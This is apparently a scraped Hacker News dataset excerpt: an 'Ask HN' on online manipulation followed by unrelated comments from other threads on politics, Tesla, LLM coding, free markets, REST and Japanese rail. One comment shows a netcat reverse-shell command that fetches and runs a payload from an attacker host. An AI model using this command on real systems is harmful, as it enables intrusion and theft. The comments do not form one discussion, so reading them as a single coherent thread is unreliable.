MurphyA/hacker-news huggingface dataset:
Ask HN: Where are we vulnerable to exploitation online these days?
by arunsupe | 2025-04-16 01:57:02+00:00
I'm usually curious about various topics, but lately, I've noticed that external, exploitative influences—primarily from advertisements—are nudging me toward interests I wouldn't have pursued on my own (I use an ad blocker, block trackers etc). While I appreciate some of the directions I've been led, I want to understand these exploitative influences.

I've identified that I'm particularly susceptible to manipulation on a few types of websites, such as search engines, retailers, tailored content platforms, and social media sites that have profiled me.

I'm interested in better understanding these influences and have two questions:

What other categories of manipulative websites should I be aware of? What additional methods of manipulation might I be missing? Any insights or experiences would be greatly appreciated!
by bloomingeek | 2025-04-16 01:58:30+00:00
I'm not sure if they have a soul either. However, they hate losing money! Which we can call motivation to fight back in ways that us normals can't. After Elon loses enough money we may see a political divorce of epic proportions, that will be very entertaining to watch. (Can you imagine what it will be like if trump threatens the Starlink contracts?!?)
by lazyeye | 2025-04-16 01:59:21+00:00
This is such a wide-sweeping generalisation that it beggars belief. And this "distrust for the people" you speak of, would that characterize your attitude to people who don't vote Democrat? And speaking of Democrats in general, do they show alot of "distrust for the people" too with their simple-minded, largely ignorant stereotypes of Republicans?
by AlotOfReading | 2025-04-16 01:59:43+00:00
It's not so much about animal welfare. If there's a trade-off to be made between economics and animal welfare, the economics usually win out. Cattle would prefer to graze low density pastures, for example, but that's not compatible with the economic realities of modern dairy and it ends up limited to an insignificant portion of the market. Robots and automation solve problems for both the livestock and the dairy, so they're common.
by NoPicklez | 2025-04-16 02:00:18+00:00
Just because there are other brands in the market doesn't mean Tesla brings nothing to the table. Does that mean all ICE brands bring nothing to the table because there are other ICE brands?

Tesla cars are still excellent and it only takes an opportunity to drive both the Tesla and the BYD to see why the Tesla is more expensive.

Don't get me wrong Elon being in the position he is does muddy the brand name, but they're still excellent cars.

There is an accusation of odometer fraud, but this isn't new for any car nor are other fraudulent activities of car brands in general
by contingencies | 2025-04-16 02:01:19+00:00
For 1 you can use wget -R --mirror https://site.com (anyway man wget will get you there)

For 2 I'm unaware of a tool. Some combination of a browser, browser plugin and/or proxy would be able to do it theoretically, but there's so many JS edge cases it's unlikely to work everywhere. Something slightly custom may be required.

PS. With the laser engraving, fiber requires a cooling system which typically requires maintenance. Also, you generally require compressed dehydrated air at a minimum. Therefore, you're looking at a much more expensive system in aggregate.
by hodgehog11 | 2025-04-16 02:01:48+00:00
As an applied probabilist, you often want to focus on the bigger proof strategy, but end up spending a lot of time with annoying integral computations and long strings of basic manipulations. For example, "compute an integral transform of X", "apply method A to get an asymptotic series expansion of Y", or "derive a concentration inequality for Z". I've found that it is often much faster to get e.g. o3-mini-high to do these first to verify if the answer might help in your proof, like a broader CAS replacement. Then you can go through the working yourself later once the strategy is clear; clean it up, make it rigorous, etc. Overall, this saves me a fair bit of time.

Many still seem to believe that these models are completely unreliable for these sorts of arguments, but I've found the error rate to be around 10% per prompt, about on par with a good student. You get good at checking whether the argument is on track or not, so you can just rewrite the prompt a few times with more detail until a solution looks decent.

I've never had much success with the types of prompts you describe, and I find comfort in knowing that these LLMs seem (at least at present) unable to solve broader research questions. Often, you need to give much more direct questions in the style of textbook questions so it doesn't get too "creative" or "lazy".
by gnabgib | 2025-04-16 02:04:27+00:00
(2015) Popular in:

2022 (233 points, 53 comments) https://news.ycombinator.com/item?id=33332437

2016 (125 points, 20 comments) https://news.ycombinator.com/item?id=12537043

2015 (114 points, 17 comments) https://news.ycombinator.com/item?id=9331808
by FireBeyond | 2025-04-16 02:04:35+00:00
> Generally speaking, if you want to lie about your net worth you are choosing between tax fraud and insurance fraud.

Funnily enough there is (was?) legal activity about exactly this with our current POTUS.

Real estate assets when being accounted for tax purposes: "Worth: $x"

Same real estate assets when being accounted for loan collateral: "Worth: $10x".

But of course like most legal activity against POTUS, it's just been "abandoned".
by bearcobra | 2025-04-16 02:05:31+00:00
What is confusing about it? Trademarks are there so consumers aren’t being misled in the market and not getting the thing they expect. It’s annoying that you had to come up with a different brand, but it’s pretty understandable that Basecamp doesn’t want someone to mistake their software product for yours. Its also reasonable that if your product was a new energy drink that you could ignore them since the trademark almost certainly isn’t that broad
by giantrobot | 2025-04-16 02:06:40+00:00
You can crate a reverse shell with just netcat. On your victim machine, where you can run a command but not necessarily listen on a port you can run something like:

nc attacker.ip 9000 | /bin/bash

This will reach out to the attacker controlled machine and run an arbitrary payload hosted there. A simple payload would be opening a reverse shell to the attacker controlled machine from the victim. Because it's an outgoing connection it's less likely to be blocked by a firewall.

The reverse shell gives you further access to the victim machine and can be entirely scripted. You can then use additional exploits for privilege elevation or just pilfer whatever you've got access to.

Note this a super simple demonstration of the concept.
by hintymad | 2025-04-16 02:07:49+00:00
Interestingly, that one was not flagged. The ones that gave simple data points were. That said, was that comment angry? I was happy because I finally saw a president deliver his campaign promises. Or maybe I was angry but angry as a liberal: we are supposed to keep government in check, yet when doge found out so much potential issues of the government and ngos, the first reaction of the left was to attack the motives of doge and to protect the institution? Where was the liberalism?
by andrei_says_ | 2025-04-16 02:08:02+00:00
Imagine that you yourself never use these tools directly but your employees do. And the sellers of said tools swear that the tools are amazing and correct and will save you millions.

They keep telling you that any employee who highlights problems with the tools are just trying to save their job.

Your investors tell you that the toolmakers are already saving money for your competitors.

Now, do you want that second house and white lotus vacation or not?

Making good tools is difficult. Bending perception (“is reality”) is easier and enterprise sales, just like good propaganda, work. The gold rush will leave a lot of bodies behind but the shovelmakers will make a killing.
by pornel | 2025-04-16 02:08:45+00:00
Mixing of colors in an "objective" way like blur (lens focus) is a physical phenomenon, and should be done in linear color space.

Subjective things, like color similarity and perception of brightness should be evaluated in perceptual color spaces. This includes sRGB (it's not very good at it, but it's trying).

Gradients are weirdly in the middle. Smoothness and matching of colors are very subjective, but color interpolation is mathematically dubious in most perceptual color spaces, because √(avg(a+b)) ≠ avg(√(a) + √(b))
by hcarvalhoalves | 2025-04-16 02:08:55+00:00
> REST (or, rather, how REST is broadly used) encourages you to think in terms of Resources rather than Models or ViewModels. At first, your Resources start out as mirroring Models. But a single Model rarely has enough data for a screen, so you develop ad-hoc conventions for nesting Models in a Resource. However, including all the relevant Models (e.g. all Likes of a Post) is often impossible or impractical, so you start adding ViewModel-ish fields like friendLikes to your Resources.

So, let's assume the alternative universe, where we did not mess up and got REST wrong.

There's no constraint saying a resource (in the hypermedia sense) has to have the same shape as your business data, or anything else really. A resource should have whatever representation is most useful to the client. If your language is "components" because you're making an interactive app – sure, go ahead and represent this as a resource. And we did that for a while, with xmlhttprequest + HTML fragments, and PHP includes on the server side.

What we were missing all along was a way to decouple the browser from a single resource (the whole document), so we could have nested resources, and keep client state intact on refresh?
by WalterBright | 2025-04-16 02:09:48+00:00
Wealth in a free market is not "concentrated", it is created.

The total wealth in a free market country rises, which can only be explained by wealth being created rather than shifted around.

> Clearly we want everyone to have an education not just the uber wealthy.

Educational materials abound in this country, even for free. For example, I took some MIT courses that were on youtube, for free. I found my college textbook "Special Relativity" at a book sale for $.50. SAT prep books are available free at the library, and are often at thrift stores for a couple bucks.

It's never been easier to get educated.
by jader201 | 2025-04-16 02:11:37+00:00
Maybe fewer vegans would be vegans if they knew that the farmers were prioritizing the wellbeing of the animals over their bottom line.

And as long as you still have a bottom line while reducing animal suffering, many farmers may be perfectly happy with that tradeoff.

They may see it as a win/win — they get to still run a business doing what they love, while caring for the animals they love.

And if they ultimately are more successful, maybe they reduce and/or “convert” the number of farmers that care less for their animals’ wellbeing.
by AnthonyMouse | 2025-04-16 02:13:51+00:00
> There are no documented instances of a truly free market.

But why is that interesting?

If you enter into a contract to sell your car to someone and then instead of paying you they steal your car and kill you, that's crime, not a free market. Killing people by dumping mercury into the river is still just crime. Killing people by burning dirty coal is something that should be crime, even if it officially isn't.

But this is different than banning things where each involved party is consenting, or imposing unfunded mandates or bureaucratic filing requirements. The less of those things there are, the freer the market is, and those places tend to do better than the places captured by central planners.

Moreover, the main point is completely valid. If Palm's product isn't as good as an iPhone then you don't have to buy it and then they go away. If the DMV sucks, what are you going to do?
by leereeves | 2025-04-16 02:14:00+00:00
> The man in question is one of the ones vilified (accurately or not) in the linked article. So it's relevant for someone to talk about, in a comment on the article, whether or not that vilification is appropriate

Gosling is far from being vilified in the linked article. He's only mentioned three times, and one of those is "those who deserve the most credit for deciphering the DNA molecule are Wilkins, Franklin, and Gosling".
by WalterBright | 2025-04-16 02:14:01+00:00
> There are no documented instances of a truly free market.

There's no such thing as pure water, either. Nor is there any person who has not had impure thoughts. Nor can you ever cut a board to an exact length. Nor has anything created by man (or nature) been perfect.

The historical reality is the more free a free market is, the better it performs.

A free market does not have to be a "truly free market" in order to deliver the goods.
by hintymad | 2025-04-16 02:15:29+00:00
The Iron Rule, right? The benefit of the Iron Rule is that those who break rules face consequences, preventing them from escalating their behavior. So you cancel me, I cancel you, only harder. You play law fare, I do the same to you, only more legally but in a harsher way. Hada yada yada. It’s the only way to keep the society civil, eventually.
by tptacek | 2025-04-16 02:15:58+00:00
I think people are kind of kidding themselves here. For Go and Python, two extraordinarily common languages in production software, it would be weird for me at this point not to start with LLM output. Actually building an entire application, soup-to-nuts, vibe-code style? No, I wouldn't do that. But having the LLM writing as much as 80% of the code, under close supervision, with a careful series of prompts (like, "ok now add otel spans to all the functions that take unpredictable amounts of time")? Sure.

Don't get me started on testcase generation.
by FireBeyond | 2025-04-16 02:16:10+00:00
> And, investment opportunities are NOT gated based on wealth and income.

What? There is literally a class of people considered accredited or sophisticated investors.

To be considered an accredited investor by the SEC you must have a net worth of over $1M -not including- your primary residence, and you must have an annual household income of over $300K.

It is quite literally a wealth and income gate.
by throwaway2037 | 2025-04-16 02:16:23+00:00
> the bullet train prints money for JR

The bullet train in Japan only "prints money" for one JR company: JR Central, thanks to the busiest(?) bullet train route in the world: Tokyo to Osaka. Most other bullet train lines in Japan are break-even or loss making, but supported by the central gov't (for social policy).

> only profitable because of their real estate holdings around the lines

Again about Tokyu: This is untrue. I could only find stats from 2005, but all train lines in the Tokyo metropolitan area (including Yokohama) have improved farebox recovery ratios in the last 20 years.

Here: https://www.lincolninst.edu/app/uploads/2024/04/2198_1524_LP...

Page 296: Farebox recovery (%), 2005 125.3 (Tokyu Corporation’s entire network)

After the opening of the last Tokyo Metro line (Fukutoshin) -- with direct connection to Tokyu Toyoko line (Shibuya to Yokohama), the farebox recovery is surely much higher. I guess over 150%, but probably closer to 175%. The trains are jammed 8+ hours per day. This means that, excluding real estate development, the Tokyu train lines are profitable by themselves.

> especially smaller private companies like Tokyu.

About Tokyu: "[S]maller"? Absolutely not. It is surely one of the top 5 largest private rail companies in Japan by revenue/profits. They are huge in the Tokyo area.

EDIT -- Re-org only.
by xphos | 2025-04-16 02:17:04+00:00
Yeah, no PhDs in the US don't make 100K year. The stipend for an MIT PhD is about 50K a year half of what you're saying. Citing my wife who just finished their phd. MIT also makes it so everyone is paid the same as PhDs even if they bring in their own money like my wife did.

You definitely could make 70K if you worked somewhere and also won a research fellowship, but that is the exception, not the rule. I think it's amazing how much science the US produces, considering how low the pay is. Maybe I'm spoiled in CS, but it's crazy how little people in science get paid, especially considering I think their work is often fundamentally more challenging. Granted is also much more risky and hard to monetize
by fallingknife | 2025-04-16 02:17:26+00:00
I guess the problem is that I just don't trust them. It's a bunch of university administrators and government bureaucrats (two groups I trust on the level of used car dealers) spending other people's money. I think the solution to this is transparency. If these universities want to continue getting tax exempt status and generous overhead allocations out of taxpayer funds, then they should be required to release their budgets to the public. It they are actually spending all that money on reasonable research costs, then fine, but I want to see the receipts.
by Herring | 2025-04-16 02:17:28+00:00
Who is "others"? Who is "aggregate"? You're being vague because your idea doesn't make any sense.

Let's be clear:

1) Trump very clearly - very obviously - cares a lot about broad US economic performance compared to China.

2) This is at odds with his desire for unlimited power within the US, because corruption and oppression doesn't do very well economically.

That's why it's stupid - it doesn't serve its own goals. One of those two has to give.

He and his voters don't understand "Woke" is great for the modern economy. You want everyone working at their absolute full potential. Slaves don't invent chips, corruption drives away business investment, etc. It's very simple to understand if you're not a racist, but the South has been stuck on this point for generations.
by SpicyLemonZest | 2025-04-16 02:17:37+00:00
If you want to win AfD voters, what you fundamentally have to do is present a vision that inspires AfD voters and convinces them to join your side.

Does this mean adopting AfD positions and trying to water them down a bit? Not necessarily, I agree that populist-lite is always going to lose to the original. But it means convincing immigration skeptics, gender traditionalists, perhaps even Russia fans and climate change deniers that they're allowed to be on your side. It's a hard but necessary line to straddle. I struggle with it myself - I spent a while over the weekend trying to find some good flyers to leave on people's Teslas, until I sat down and asked myself why none of the major protest organizers are encouraging this.

And once you start thinking within the realm of strategic moderation, immigration sticks out as an obvious compromise to make. Restricting immigration has few catastrophic downside risks, is easy to roll back if circumstances change (unless you do it in a catastrophic Trumpian way...), and unless your population pyramid is really unhealthy doesn't involve many tradeoffs with other policy areas.
by giardini | 2025-04-16 02:17:48+00:00
Witnesses say he was "chewing on batteries" before the incident.

Must I now worry that the Chinese are putting fentanyl in my batteries? Must I consider the possibility of being mugged by a "battery-chewer" (ChewBAAAca?). Will there be a run on batteries at the supermarket? Should I buy more batteries now, avoid the run and risk being labelled by my supermarket as a drug dealer/user?

This goes beyond the pale. Give me back my landline.
by Nevermark | 2025-04-16 02:18:44+00:00
> Why do you think a social contract implies softness? For most of it's existence the social contract allowed slavery, ritual killing in the form of warfare and duels, and it still allows the death penalty in much of the world.

I think they are saying that the words "social contract" sound more collaborative and voluntary (to them) than what the phrase actually refers to. Your examples would only reinforce that view.

It is a subjective stance on a coined phrase, but given most of our laws were settled by people not living now, and enforced on people not living when the laws were created, and there is no periodic process of ensuring laws reflect the living, the words "social" and "contract" are being stretched quite a bit.

(On the other hand, the meanings of most phrases drift from the nominal meanings of their constituent words.)
by alganet | 2025-04-16 02:19:00+00:00
Now that's a subject that can put a brain to work.

What is that movie/series/book all about? What does it mean? etc

The battery is a play on earlier Duracell ads. The bunny is also there. Which themselves play on the idea of the rabbit hole. It also interweaves with Toy Story from the same time period in a weird way.

It's funny how movies from the same rough period seem to be all similar underneath. Doesn't matter the studio, the director, the concept. All of it can be tied together.

It reminds me of the idea of the Gustav Gun. A giant slow ballistic trajectory launcher of projectiles on pre-laid railroads that can shoot stuff across the sea.
by jonathaneunice | 2025-04-16 02:19:07+00:00
I don't understand the negativity. I use Cursor and love it.

Are there real challenges with forking VS Code? Yep. Are there glitches with LLMs? Sure. Are there other AI-powered coding alternatives that can do some of the same things? You betcha.

But net-net, Cursor's an amazing power tool that strongly extends what we can accomplish in any hour, day, or week.
by transpute | 2025-04-16 02:19:28+00:00
Yes, NVD funding cuts and a growing CVE backlog began in late 2023.

May 2024, https://therecord.media/nist-database-backlog-growing-vulnch...

> Moving forward, cybersecurity companies will have to “fill the void” .. NVD said in April [2024] that it is “working to establish a consortium to address challenges in the NVD program and develop improved tools and methods.” .. CISA acknowledged the concerns and outrage of the security community and said it is starting an enrichment effort called “Vulnrichment," which will add much of the information described by Garrity to CVEs.

The second VulnCon event took place last week and no silver bullet has appeared, https://ygreky.com/2025/04/vulncon-2025-impressions/

Vulnerability enrichment was mentioned in many talks. However, most organizations seem to handle it internally. There doesn’t appear to be momentum toward a shared or open source solution – at least not yet.
by pertdist | 2025-04-16 02:20:11+00:00
I did a project with non-technical stakeholders modeling likely completion dates for a big GANTT chart. Business stakeholders wanted probabilistic task completion times because some of the tasks were new and impractical to quantify with fixed times.

Stakeholders really liked specifying work times as t_i ~ PERT(min, mode, max) because it mimics their thinking and handles typical real-world asymmetrical distributions.

[Background: PERT is just a re-parameterized beta distribution that's more user-friendly and intuitive https://rpubs.com/Kraj86186/985700]